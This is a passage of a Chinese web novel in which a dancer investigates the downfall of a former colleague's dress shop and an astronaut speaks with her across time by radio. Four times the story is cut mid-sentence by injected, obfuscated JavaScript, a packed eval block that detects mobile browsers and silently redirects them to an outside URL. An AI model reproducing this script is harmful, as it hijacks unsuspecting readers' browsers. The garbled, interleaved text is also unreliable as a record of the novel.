陶菁犹豫地捋了捋头发:“应该是吧?如果她不想让我去她的店里,不告诉我就是了,何必要给我一个假地址?”又掏出那张名贴,道,“你看,这做得多精致啊!她何必为了骗人特意做一个这个?” “确实。”小百合道。 这时正好有一个路人过来,小百合拦下他,问他知不知道这条街的名字。那人的回答和名帖上的地址别无二致。 陶菁道:“这可真是奇了怪了。莫不是她的店换了名字,或者搬了家?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798380|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小百合道:“也有可能。我们还是先找到具体的门牌号再说吧!她到底是换了店名还是搬了家,进去一问就知道了。” 于是,她们又费了一番功夫,在墙壁的边角处找到一个门牌号,和店家确认了没错,便一个一个地数过去,终于找到了名帖上的位置。 然而,出现在她们面前的,却不是一家成衣店,而是一家布置得新潮又雅致的咖啡馆。 陶菁挑起眉,满是疑惑地望了小百合一眼,道:“这是怎么回事?真搬家了?” 小百合摇了摇头,迟疑片刻,走上前去,稍一用力,推开了咖啡馆的门。 门后挂的铃铛“叮铃”一响,柜台后年轻的店主立刻抬起头来,对她们笑道:“欢迎!两位请随意找地方坐!” 小百合看了一眼写在黑板上的菜单,不由暗自咋了咋舌。那上面写的一杯咖啡的价格,几乎顶得上她一周的饭钱了。 她道:“抱歉,我们不是来喝咖啡的。我们来,是想找一个人。”她顿了顿,又道,“请问,你知道楚艳雪吗?” 如果如传闻的那般,这门脸属于楚艳雪,那他认识自己的东家该是理所当然。如果不认识,随便问一问也无妨。 却不料,听到这个名字,那年轻店主的脸竟立刻板了起来,道:“我从来没听说过这个名字。”又道,“我这里暂时不接客了,请两位出去吧!” 陶菁挑起眉来,还欲争辩,小百合却听出他语气里的不对,一把拽住陶菁,道:“好。我明白了。多谢!” 从咖啡馆里退出来,陶菁埋怨道:“你拉我做什么!你看他那是什么态度!” 小百合道:“对啊,你看他的态度,明明是认识楚艳雪的,却非说不认识,一定是与她有过什么矛盾。就算我们再怎么问,也问不出什么的,何必再与他起冲突?” 陶菁撅了撅嘴,道:“那现在怎么办?” 小百合想了想,道:“你知不知道,她在遇到你之前,已经开店开了多久?” 陶菁道:“你是说,在她离开舞厅之后?” 小百合道:“对。” 陶菁摸了摸下巴:“她好像没提起过……不过,听她的意思,应该是被韩大少刚一接走,就开始准备那个铺子了。算起来,怎么也得有六七个月了吧?” 小百合点点头:“那时间够长了,想必和左邻右舍多少也认识了。走,我们去多找几个人问问!总有人知道些什么!” 这条街上除了那家咖啡馆,还有时装店、书店、药店、珠宝店等等,一应俱全。 小百合和陶菁随意选了三家离得近的,却没想到,当店家听到她们两个是来找楚艳雪的,俱是脸色一变,草草地敷衍两句,就想赶她们走。 陶菁憋了一肚子的气,在街上大声道:“怪不得楚艳雪要从这搬里走,这破地方,旧成这样,一看就没什么客人!下回就算是有人请我来,我都不来了!” 她这是故意说给那些店家听的。 小百合正暗自偷笑,突然听见一个悦耳的声音道:“两位姑娘,是来找楚艳雪的?” 小百合回头看去,只见一个婀娜的女子正倚着茶楼的门框,抓着一把瓜子在磕。 她点点头:“是。掌柜的认识她?” 那女子招了招手,示意她们走近些,才低声道:“可是……楚艳雪的店,早在几个月前就已经关门了呀?” 31.第30章 按理说,看了刚才那几个店家的反应,她对此不该感到奇怪。 可小百合仍是不由一愣,道:“关门了?怎么回事?” 陶菁道:“对啊对啊,我上次遇到她的时候,她的店还开得好好的,怎么突然就关门了?” 那女子道:“你上次遇到她,得是半年多前了吧?”她沉吟片刻,又道,“这事不好在街上说,你们进来吧!”说着,回身便往茶楼里走。 小百合和陶菁对视一眼,跟了上去。 那女子回头一笑,道:“对了,我姓柳,你们叫我柳掌柜就好。” 柳掌柜走在前面,寻了一张僻静的桌子安顿两人坐下,拉上屏风,又吩咐小二沏上一壶茶,端上一盘点心来,笑道:“不必担心,就当是我请你们的。” 小百合她们两个连忙道谢。等茶和点心端上来,小二给她们三人一一倒好,陶菁就着茶吃了一块赤豆糕,耐不住地道:“所以,柳掌柜,楚艳雪到底怎么了?她为什么不开店了?” 柳掌柜抿了一口茶,轻轻叹了一口气,道:“她也是个苦命的人呐……”又道,“既然你们认识她,应该也知道她和韩家大少的关系吧?” 小百合和陶菁点头称是。 柳掌柜道:“她的事我也是道听途说,七七八八地拼凑起来的,你们随意听听就好。” 接着,她便说起了楚艳雪离开千乐门后的遭遇。 原来,在楚艳雪嫁给韩大少做姨太太之后,两人很是度过了一段浓情蜜意的时光。楚艳雪早就想开一间时装铺子,韩大少自然满口答应,那门脸就是这个时候盘下的。 盘下门脸之后,楚艳雪也确实做得热火朝天。买来西洋进口的布料,请上海滩知名的设计师来设计新衣,韩大少也卯足了力气为她四处宣传,招揽客人。因此,在铺子刚刚开起的时候,确实红火过一阵。 “那段时间,她的店门前可真是车水马龙!那些贵小姐贵太太们走了一个又来一个,连我们这些周围的店都沾了不少光。”柳掌柜露出一丝怀念的神情。 陶菁歪头道:“这不是挺好吗?怎么……” 柳掌柜摇了摇头:“你继续听我说呀!” 她又接着说了下去。 楚艳雪的铺子是经营起来了,可她事事亲力亲为,忙于事业,倒冷落了韩大少。他们本来就相处时间日久,热情渐渐退去,她这样一冷落,韩大少立时觉出了无聊。 一日,他让司机拉着他开车去看戏,在街上不小心撞倒了一个女学生。那女学生扎着小辫,穿着一身淡雅的五四学生装,摔倒在地上,楚楚可怜,清纯而美丽,韩大少一见钟情。 他喜欢楚艳雪,没有选择朱璇,本就是喜欢她的冷艳高洁。可是,楚艳雪舞场的高洁,又如何比得上那女学生象牙塔的高洁? 一个刹那间,韩大少就把她抛到了脑后。 等楚艳雪回过神来,韩大少的心早已移情别处。而更要命的是,她店铺的房租在不知不觉间也到期了。 韩大少忙着追逐女学生,整日不见踪影。楚艳雪心高气傲,硬是用自己的积蓄和之前卖衣裳赚的钱把租约续了下来。 可是,那布行的老板原本是看在韩大少的面子上才给了她友情价,那些小姐太太们原本是看在韩大少的面子上才来她的铺子里买衣裳。 如今她失了韩大少的青睐,才发现原来这些布料的成本竟是如此之高昂,这些太太小姐们的眼光竟是如此之挑剔。 陶菁同情地道:“所以,她的店慢慢赚不到钱,就关门了?” 柳掌柜又摇了摇头,道:“不止。”她顿了顿,又道,“其实,后来楚艳雪自己设计的衣服是很漂亮的,也有不少人慕名来买。如果慢慢经营,打出了名气,她的店未必活不下去。可是……” 可是福无双至,祸不单行。 这条街紧挨着公租界,不时会有巡捕房的人前来视察。街上的商户也十分识趣,总会按时按数为他们奉上一份谢礼,感谢他们守卫街区的安全。 原本楚艳雪的店属于韩大少的产业,巡捕房的人是不会来骚扰的。可如今韩大少失了兴趣,他们便闻风而来了。 开始只是让楚艳雪补上未交的礼金。后来日子一天天过去,见韩大少仿佛当真忘了还有她这么一个人,其中一个小头目竟垂涎起了楚艳雪的美貌,动起了心思,明里暗里想要她从了他。 楚艳雪自入千乐门起便是头牌,没过多久又被韩大少接走,何时受过这等羞辱? 一日,或许是那小头目的言语动作太过出格,楚艳雪竟冷下脸来,当着众人的面将他赶出了门。 那小头目当时没做什么,只留下了一句“你等着”,便骂骂咧咧地离开了。 可是,自那之后,楚艳雪的门前每晚都会被人做手脚。起初只是泼红漆,后来慢慢变成涂抹脏字。 楚艳雪开始时还守在门口,可她又不能夜夜守着,稍不注意,就又被涂抹了上去。而且,涂抹的字句愈发难听。 楚艳雪心知这事与那小头目脱不了干系,便去别处报警。 可她报的警却总被巡捕房的人拦下,而后,就会有两个巡捕房的人以“办案”为名,整日守在她的店门口,赶跑她的所有客人。 楚艳雪做不成生意,只得忍气吞声,每日自己默默地清理门前的红漆、脏字。 但那小头目仍然没有放过她。 到了后来,甚至不断有人在她的门前叫骂要钱,称他是楚艳雪过往的“恩客”,曾在她身上一掷千金,为她家财散尽,如今她傍上了财主,发了大财,怎么也该吐出点来! 事态发展至此,楚艳雪的过往便如何也藏不住了。 而在这过往之外,加诸于她身上真真假假的污名,也如她门口的红漆一般,再也洗不清了。 不仅周围的商家知道了她曾是做什么的,她费劲心力一个个发展起来,韩大少朋友之外的客人们也逐渐知道了,从此再不登门。 毕竟,谁愿意把一件婊子做的衣服穿在身上呢? 楚艳雪的客人越来越少,她为了店铺花光了所有的钱,再也支撑不下去,只得歇业关了门。 听完柳掌柜讲述,陶菁在一旁嘟哝着“可怜”,小百合却只觉她身体里的血液越发冰冷。 不只是为了楚艳雪,同样是为了她自己。 她终于明白了,为什么刚才她和陶菁去询问的那些店家会是那种态度——并不是因为他们与楚艳雪有过什么矛盾或者冲突,而是因为他们知道,她们和楚艳雪来自一个地方,是和她一样的人。 就算小百合把她身体里的血液流尽,指天立誓她从未做过任何逾矩之事,也抹不消他们怀疑的目光。 她是多么的天真! 她以为她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说白了,房契归根结底也只是一张纸而已。一张纸,加上几个签字,几个公章,如此而已。 楚艳雪房契上有的,韩夫人的房契上未必没有。如果真的对簿公堂,能够决定洋楼最终归属的,依旧是人。而失去了韩大少支持的楚艳雪,又如何斗得过出身名门的韩夫人? 想必她本人也是因为知道这一点,才不吭一声地从洋楼里搬了出去。 柳掌柜没有回答陶菁的问题,只微笑着摇了摇头。 小百合转而问道:“请问柳掌柜,你知道楚艳雪现在在哪里吗?” 柳掌柜沉吟片刻,道:“我记得,她和我告别的时候,好像说是要去投奔她的哥哥。至于具体在哪里,我也不知道了。” 小百合心中不觉松了一口气。无论如何,至少她还有亲人可以投奔。 柳掌柜扶着桌子站起身来,道:“好了,我知道的关于楚艳雪的事就这么多了。你们再在这多坐会儿吧!随时找人添水,慢慢吃!” 便往屏风外走去。 小百合叫住她:“柳掌柜!你为什么要对我们说这些?为什么对我们……对楚艳雪这么好?” 柳掌柜站住脚:“谁知道呢。或许只是我今天心情好,想跟人说说故事吧。” 说完,她头也不回地离开了。 32.第31章 喝完了茶,吃完了点心,小百合和陶菁从柳掌柜的茶馆里出来。 整条街依然是那么的繁华,每个店铺的装修依然是那么的新潮和雅致。有行人来来去去,不时在橱窗前驻足,岁月静好。 已经到了该去舞厅点卯的时候,可小百合却觉得浑身都提不起劲来。 她跟着陶菁走了两步,最终决定让她帮自己在张大班那里打声招呼,请一天假。等陶菁坐着黄包车离开,她才慢慢折返回来,回到那家曾是楚艳雪成衣铺的咖啡馆。 直到这时,她才发觉,那店门前依然残留着擦不去的红漆的颜色。 “当楚艳雪在门口一次又一次地清理这漆时,她的心里在想些什么呢?”小百合想,“周围的人会偷偷探出头来看她吗?” 小百合在原地伫立了一阵,不多时,察觉店主在屋里注意到了她,便动身离开了。 她不想去舞厅,也不想回家,只漫无目的地在街上走。走了不知多久,她突然意识到自己双腿发沉,走不动了,这才停住脚步,拦了一辆车回家。 回到家中时夕阳已经西下,只剩一线微光。小百合不想开灯,就着那一线微光轻轻拧开收音机,而后拖着疲惫的身体爬到床上,抱起膝盖。 单调的沙沙声在不大的屋子里回荡,小百合默默地听着。 仿佛过了一整晚,又仿佛仅仅过了一瞬间,天彻底地黑了。 在似睡非睡、似醒非醒的朦胧中,小百合突然听到了陆遥的声音,模模糊糊的,仿佛从很远的地方传来:“小百合,小百合,是你吗?” 起初,她以为是她在做梦,陆遥正从梦中对她说话。然而,下一刻,小百合身子一歪,骤然清醒了过来。 收音机里的声音前所未有的清晰:“小百合,你在吗?” 小百合猛然爬起,跳下床,冲到桌前:“我在!” 收音机另一头的陆遥好像顿时松了一口气,笑道:“太好了,你在啊!我还以为我的通讯器又出了什么别的问题呢!” 小百合的嘴角微微抽动了一下。 她想笑一笑,却没能笑出来,道:“没有。就是我!”话说出口,突觉自己的声音似乎太过苦涩,又清了清嗓子道,“抱歉,我刚才有点走神,一时没有反应过来。” 陆遥立刻觉察道:“你那边几点了?是不是该睡觉了?” 小百合道:“没有。还早。我还一点都不困呢。” 陆遥听出她在说谎,但没有戳穿,只道:“是吗?” “是啊!”小百合道。她沉默了片刻,半真半假地抱怨道:“你怎么这么久都没有联系我?我还以为再也听不到你的声音了呢。” 陆遥道:“已经过了很久了吗?抱歉,我这些天一直在忙。” 小百合低声道:“是啊。离我们上次说话,都过去四个多月了!我每天晚上一回来就打开收音机,可你一直都没有出现。” 陆遥微微一挑眉。她是有几天没有与小百合通过话了,可按照之前她计算出来的大致的时间流速比率来看,也不应该过了这么久。 莫非,她们两边的时间流速差在加大? “抱歉……”陆遥道,除了这两个字,她似乎也没有什么别的可说的。即便她有这个心思,陆遥也没法对小百合做出任何未来的保证。 她只得生硬地转移了话题,道:“所以,这几个月的时间里,有发生什么有意思的事吗?” 小百合无声地笑了笑,道:“嗯。有的。我该从哪说起呢……” 而后,她娓娓地对陆遥道出了她这几个月的种种经历。 从张继显提议让她去演戏,到她在逸园里的所见所闻,到孙老三为了寻她而不幸被打,差点丧命的遭遇。从她与张继显分道扬镳的决心,到她开家小店的念想,再到楚艳雪遭受的欺压和她无奈的结局。 小百合一字一句地说,陆遥便静静地听着。 她的心绪随着小百合的讲述而不断起伏,越发震动。 “所以,就是这样了。她把店关了,去投奔她的哥哥了。或许这也是她应得的吧。给人做姨太太,能有什么好下场呢?” 说完最后一个字,小百合呼出一口气,仿佛终于摆脱了一份重担,整个人都虚脱了几分。 然而,紧接着,某种更激烈的情绪从她的心底浮现了出来。 她忍了又忍,终究耐不住道:“可是,阿遥,凭什么呢?难道是她想做姨太太的吗?难道是她想做舞女的吗?谁不想干干净净地赚来每一分钱,过上好日子呢?谁想承受那种的骂名,被人怀疑,被人轻贱,被人羞辱呢?” “是,我们是东讨一口米,西讨一口饭地长大的。我们身上没有一分钱,一无所有,一文不名。所以我们就天生该去做舞女,该去拉车吗?所以我们就该去杀人放火,该去出卖自己,该去不择手段吗?” “可是,我又能做什么呢?送一辈子报纸,摆一辈子摊吗?那点钱连我自己都养不活,又怎么谈得上照顾别人,照顾我的弟弟妹妹们呢?我看到了一个机会,抓住了它,这有错吗?就因为这,我就该被人鄙夷吗?” “如果我是一个男人,或许会有更多的机会。哪怕这机会是多么低微,我也可以像张继显一样去从军,去试着建功立业,或者去做学徒,去试着学一门手艺。可是,我不是啊!哪怕是去工厂,我也赚不到一个男人的钱。” “阿遥,你说,我又能怎么办呢?” “阿遥,你说人人平等。可是我在街上走啊走,抬起眼睛四处张望,为什么哪里都写满了上下尊卑,高低贵贱?” “有钱有权的人躺在他们的钱上,那些钱还在不停地生小钱。他们手拉着手,指缝间都是细细的网,要网住这个世界上的一切。他们把别人当成可以随时踩扁、碾死的虫子,当成可以用完就丢,坏掉就换的物件,而那些人却没有办法,只能任由他们骑在自己的头顶肆意地作践。” “阿遥,你说我们每个人的人格和尊严都是平等的。这就是平等吗?这怎么叫平等呢?真的会有平等的那一天吗?” “阿遥,你告诉我啊……” 她的质问是如此哀戚,陆遥的手不知不觉地攥了起来,攥成了拳。 她的心砰砰直跳,血液在她的血管里飞快地流转,让她头晕目眩,仿佛回到了人生中第一次上失重机的那一天。 她没有办法回答小百合的问题。 “平等”,这是个多么奢侈的词。 她之前把这个词轻飘飘地丢给了小百合,而此刻,这个词又被小百合用力地掷了回来。 到底何为平等? 人生下来就不平等。有人美丽,有人丑陋,有人聪慧,有人愚笨,有人健康,有人病弱。有人生来一贫如洗,有人生来富贵逼人。有人度过一世,一生平安和乐,有人诞于战火,至死深受战乱流离之苦。 哪怕如今粮食的产量早已是百年前的数千、数万倍,早该供得起全世界人民的温饱,却依然有那么多人在忍饥挨饿。 为什么? 只因在另一些地方,食物在垃圾堆里焚烧,牛奶被倒入河流。 当不平等实实在在地存在在世界的每一个角落,生活的每一分钟,所谓的人格和尊严,听起来是多么的虚无。 就算是她,陆遥和小百合,她们两个就平等吗? 她从心底里认为她们两个是平等的。 可是,凭什么? 凭什么小百合生在百年之前,无父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808566|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无母,除了陪人跳舞别无出路?凭什么她生在百年之后,衣食无忧,甚至可以乘着举全国、全世界之力建造的火箭来到火星,仰观宇宙之大? 哪怕不提这些无从改变的,小百合对等在她面前的未来一无所知,陆遥却对过往百年的历史一清二楚。 只要她稍一动念,小百合的人生就能在瞬间天翻地覆——即便是对小百合命运的掌控,她们两个都是不平等的。她,陆遥,一个百年后的陌生人,甚至要远远超过小百合自身。 是的,她能帮助小百合。可她帮得了她一时,帮不了她一世。谁能料到,她一时的帮助会不会让小百合走向更为惨淡的结局? 况且,假如在她的帮助下,小百合有意或者无意地篡夺了别人的位置和成就,这对那另一人而言,又何尝不是一种不公? 陆遥踌躇着。 小百合在收音机另一头沉默了,不知是在等待陆遥的回答,还是在默默饮泣,平复自己的情绪。 假如不平等注定无法消灭,那么人们追求平等,到底在追求什么? 或许,至少是一个机会吧…… 一个改变自己人生和命运的机会。 “小百合,你想不想……”说到一半,陆遥又咬住了自己的嘴唇,事情还不能确定,她不该这么轻易说出来。 “什么?”小百合道。 陆遥道:“没什么。你让我想一想,下次再回答你的问题。” 小百合抹了抹眼角的泪花,又高兴起来。 既然陆遥这么说,那就一定是有下次的了。或许这一回,她不需要再等那么久。 然而,紧接着,她又想起自己刚才说了什么,顿时脸颊发热,“啊”地一声懊恼地把脸埋进了胳膊里。 她怎么会一口气说了那么多乱七八糟的话? 在胳膊里埋了两秒,又觉得这样一直躲着不行,小百合硬着头皮,抬起头来,道:“没事,阿遥。我刚才只是心情不好,随意说说,你不用往心里去。” 陆遥摇头道:“不,你说的很对。没有什么不好意思的。我下次联系你。”又道,“你放心,这回不会隔那么长时间了。” 小百合道:“好。” 时间已经不早,陆遥的轮班马上就要结束了,她探手要去关通讯器,又顿住了,道:“小百合……” “怎么?”小百合道。 陆遥迟疑片刻,道:“你恨他们吗?” 小百合一怔,道:“谁们?” 陆遥道:“那些店家,那些只是因为你的身份就轻视你,否定你,瞧不起你的人。如果你的朋友说喜欢他们某一家的东西,想要去买,你还会跟他们一起去吗?” 小百合想了很久,终于道:“不恨。我会去的。” 这回,轮到陆遥愣住了,她道:“为什么?” 小百合道:“他们轻视我,瞧不起我,只是因为所有别的人也都轻视我,瞧不起我。该恨的不是他们。至少,不只是他们。而且,他们瞧不起的其实也只是那个身份而已,针对的并不是我本人。不值得为了他们让我的朋友不开心。” “……嗯,我明白了。谢谢你。”陆遥道。 小百合疑惑道:“谢我做什么?” 陆遥道:“没什么。你那边时间应该也不早了,快去休息吧!我也该去睡觉了。” “好!”小百合顿了顿,又道,“阿遥,我才应该谢谢你。谢谢你听我说。” “嗯,没事的。”陆遥道,紧接着就听到了通讯中断的声音。 她将耳机摘下来放在一旁,下定决心,在平板上打开地面联络员的发信界面,写道:“麻烦请帮我联系我的父母,告诉他们,我准备好见我的爷爷了。谢谢。” 33.第32章 第二天一早,陆遥打开平板,就收到了联络员的回信,通知她她的父母将在北京时间当晚,陆遥的休息时间与她联络。 陆遥微微吃了一惊。她没想到会这么快。 与她的通讯要在地控中心进行,而无论是她的父母还是爷爷,他们的住处离地控中心都有几百公里之遥,再加上进入地控中心需要办理的手续,他们要在今晚与她联络,想必是一收到她的信息就立刻出发了。 陆遥心中闪过一丝不忍。她没想到,她父母对她与爷爷修复关系的事,会这般急切。看来,他们是真的很希望她与爷爷重归于好。 工作时间倏忽而过,一眨眼就到了晚上他们约定的时间。 陆遥回到自己的隔间,等待着。 不多时,通讯器上的指示灯亮起,林梦晨的声音从她的耳机中传来,满含笑意地道:“陆遥你好,这里是北京,这里是北京,收到请回答。” 陆遥也笑了,道:“北京你好,这里是陆遥,很高兴听到你的声音。不知你的假期过得如何?” 上一次通话时林梦晨对她提起过要去休假。她似乎有好一阵子没有听到她的声音了。尽管任务进行了这么久,她与所有的联络员都已经熟悉,但林梦晨对她依然是最亲切的一个。 林梦晨道:“我的假期过得很好!恭喜你们成功捕获小行星!”她的语气里满是激动,又道,“对了,还有一件有趣的事我想和你分享!虽然没有你们捕获小行星那么厉害……但是,你知道吗?这次我休假去了我姥爷家,翻到了一些老报纸。那些报纸上有好多我太奶奶写的小说,你猜她小说里的主角都叫什么?” 而后,不等陆遥回答,她便兴奋地接着道:“她们都叫陆遥呢!和你同名!你说巧不巧?” 陆遥挑起眉,这倒是出乎她的意料了。与此同时,她的心中不由生出一丝疑惑。林梦晨的祖奶奶,是什么年代的人? 该不会,与小百合有什么关系吧? 她正要再细问,忽然又听林梦晨道:“啊,对不起,我说这么多,扯得太远了!你的父母和爷爷已经准备好,在一旁等着了,我这就把话筒交给他们!” 紧接着,一阵窸窸窣窣声之后,她父亲低沉的声音就在耳机里响了起来:“喂?喂?遥遥,是遥遥吗?我是爸爸,你能听到我说话吗?能听到吗?” 陆遥略带无奈地勾了勾嘴角。听她父亲问话的方式,不知道的人,还以为他们两个正在地球上平常地打电话。 她答道:“是。这里是陆遥,我听得见您说话。爸,您可以每次多说几句,缩短通讯时间。” 毕竟,他们之间隔着上千万、近一亿公里的距离,哪怕只是一问一答,一来一回就要耗费二十多分钟的时间。 不知为何,她父亲通过中继卫星中转而来的声音里似乎满是感慨,道:“好,好。我们遥遥的时间宝贵,爸爸知道!爸爸没有什么要说的,你妈妈在这里,她想和你说上几句。” 于是,她的妈妈接过话筒,开始琐碎至极地问起了她的吃喝如何,睡眠如何,工作累不累,一边问,一边不时地抽一抽鼻子。 陆遥甚至能想象出她一手握着话筒,一手不住地用纸巾擦眼泪的样子。 她心中的无奈更深,只得一边安慰她道一切顺利,她很快就会回到地球,不会有任何事,一边耐心地一一回答她的问题。 刚刚答完,就听她的父亲对母亲催促道:“好了,快别说这些鸡零狗碎的了,都忘了这次来的正经事了!”又转向她,“遥遥,你的爷爷……也想跟你说说话。” 而后,不等陆遥作何反应,一个苍老的声音便响了起来:“喂,遥遥,是你吗?” 陆遥不自觉地屏住了呼吸。 她已经多有少年没有听到过这个声音了? 原来,小时候祖宅大门那一边中气十足的声音,在不知不觉间已经变得这么嘶哑而苍老。 陆遥道:“是,是我。” 她刚刚叮嘱过她的父亲每次多说几句,节省时间,可此时轮到了她,竟也不知道该说些什么了,只余沉默。 又过了很久,久到陆遥错觉她说的话是不是没能成功地传回地球,才听见她的爷爷道:“好!是你就好,是你就好。”他又沉默了一阵,似乎挣扎良久,才吞吞吐吐地道,“你小时候的事……是爷爷错了。是爷爷对不起你们一家子。爷爷、爷爷早就是个老糊涂了,做了错事,希望你能原谅爷爷。” 他每个字都说得很慢,不知道是年岁使然,还是希望陆遥每一个字都能听清。 陆遥快速地眨了眨眼睛。 她明明从来未曾介意过,为何还会胸口发梗,眼眶发酸呢? 陆遥深吸一口气,道:“没关系。我想明白了,以前发生的事……是曾经的那个时代,和那个时代的观念的错,不是你的。我不怪你。”她顿了顿,又道,“等我回到了地球,我再和爸爸妈妈一起去看你。……爷爷。” 说出这两个字,她的心口像是有一个隐形的结忽然松开了。而在这之前,她甚至从未察觉过它的存在。 或许,有时候,放过他人也就是放过自己。 但是,但是,陆遥又不由得想,如果她没有做出一番成就,又能够等来她爷爷今日的道歉吗? “好!好!我等着你,我等着你们。”这一次,她爷爷的回答很快返了回来,打断了陆遥的思绪。他的声音有些模糊,像是哭了。 陆遥回忆起她曾在祖宅大门口看到过的她爷爷的样子。明明是那么高大又强硬的一个人,原来也是会老,会哭的。 现在不是感慨时光的时候。 她清了清嗓子,道:“爷爷,我听爸爸说,我的太爷爷在少年的时候曾经追随过一位先烈,那位先烈在从军前一直在上海开办义塾,宣扬新思想,是这样吗?” 她的爷爷明显一愣,道:“是有这么一回事。你爸爸……连这个都对你说了?” 陆遥道:“是。” 像这样祖辈的传奇故事,总是会在家族聚会、聊天喝酒时代代相传的。毕竟,有多少人曾真的亲历过历史,接触过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817963|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写在史书里的人物呢? 只是,其中具体的细节,大概就只存在于先辈的脑海中,并将随着他们的故去而渐渐消逝了。 幸好,她的爷爷仍然健在。 她接着道:“您还记得,他说过的那个义塾叫什么名字,大致在哪里吗?”又随意地扯了个谎,“等回去之后,我们要汇报工作,我想以他的事例作为榜样进行演讲。” 一边说,一边暗暗地祈祷地控中心没有人会闲着无聊,来查看他们这一次的通话记录。 尽管他们肯定不会揭穿她的谎言,但只是谎话被人发现,就足够让人尴尬了。 她的爷爷欣慰地道:“好!好!不愧是我们陆家人!我记得……那时候他们是冒着特务的抓捕开学塾的,所以起的是个别的名字,叫什么来着?叫,叫……哦,叫和平书店!就开在,开在……上海南边的汉口路上!” 陆遥把这名字和地址记在心里,正要道谢,转念一想,就算小百合知道了这个地方,找了过去,那些办学塾的人见她来得不明不白,恐怕也不会轻易让她加入,又道:“除了这个名字和地址,您还知道我太爷爷有什么兄弟朋友,曾经在那里上学吗?” 她爷爷疑惑地道:“这个你也要知道?”又道,“我想想……我记得他有一个好朋友,叫王远的,比他的年纪大不少,应该是在那里上过学。” 陆遥道:“好,我知道了,谢谢爷爷。” 有这么一个名字,总比什么都没有强。至于之后如何,学塾接不接受她,就只能看小百合自己的应变和造化了。 她最后道:“我没什么别的想问的了。等回到了地球,我去看您。” 她爷爷声音嘶哑地道:“好,没问题!我等着你。让你爸再和你说几句吧!” 之后陆遥的父亲又对她交代了几句,陆遥应了是,和她的爸爸妈妈道了别,便中断了通讯。 真正算下来,她和她的父母爷爷说的话其实并不多。但这样一回下来,依然耗费了她一晚上的时间。 陆遥又把通讯器开了一会儿,想看看能不能收到小百合的讯息。 然而过了好一阵,通讯器依然毫无反应。时间已经不早,她听到今天轮值的安德烈打着哈欠飘向观测室的声音,决定是时候睡觉了。 不差这一天,她想,而后关掉了隔间里的小灯。 关掉了灯,她对着隔间的天花板,才想起她忘了和林梦晨再说上几句话,问问她关于她太奶奶小说的事。 “大概只是一个巧合吧。”她想。 说到底,陆遥也不是什么独属于她的稀奇的名字,被用在小说的人物身上也很正常。 总不会那么凑巧,生活在那么多年以前的小百合,或者她认识的哪个人从她那里得知了陆遥的事,把陆遥的名字写进了小说。而在百年之后,她或者他的后人居然又与陆遥成为了同僚。 “概率太小了。”陆遥迷迷糊糊地想,“不过,下次和林梦晨通话的时候,再问问她好了……” 这么想着,陆遥坠入了梦乡。 34.第33章 和陆遥通过话之后,小百合只觉这段时间里积压在她心头的郁气不说一扫而光,也扫去了大半。 只是这么聊一聊天已经很好了,她想。 她并不指望下一次通话时陆遥能给她带来什么答案。毕竟,世道这种事,能有什么答案呢?而就算知道了答案,她又能怎么样呢?还不是得照常地过她的平凡日子? 小百合心情好,也只是因为期待她和陆遥的下一次联系而已。 又没过两天,朱璇也从她的老家回来了,没说她回老家做了什么事,只是整个人懒洋洋的,像小百合之前一样,没什么精神。 一日,她们都在后台化妆,许是为了逗她开心,陶菁一边往脸上扑粉,一边道:“说起来,璇姐,你猜这次你回家的时候,我和小百合去哪了?” 朱璇有一搭没一搭地修剪着她的眉毛,道:“去哪了?” 陶菁道:“你猜嘛!” 朱璇道:“我不猜!你要说就快点说!” 陶菁“嘿嘿”一笑,道:“我和小百合去楚艳雪的成衣店了!” 朱璇脸色一变,放下眉刀,正要发作,陶菁连忙接着道:“璇姐你先别生气!你先听我说!你猜我和小百合去她的店那里,结果发现什么了?” 朱璇冷声道:“什么?” 陶菁道:“我和小百合发现啊……她的店,早变成一个咖啡馆了!” 朱璇皱眉道:“什么意思?” 陶菁笑着道:“意思是,她的店早就关门啦!据她附近一个茶馆的老板娘说,韩大少又看上了一个女学生,对她完全没了兴趣,她的店开不下去,只能关门了!” 朱璇沉默片刻,“哈”地一笑,道:“我就说像韩明皓这种人,怎么可能靠得住!和他好一阵捞点钱就得了,还想着靠他做出什么事业来?真是痴心妄想,别逗我笑了!”顿了顿,又道,“所以,她现在干什么呢?住在韩明皓给她买的宅子里吃山空吗?” 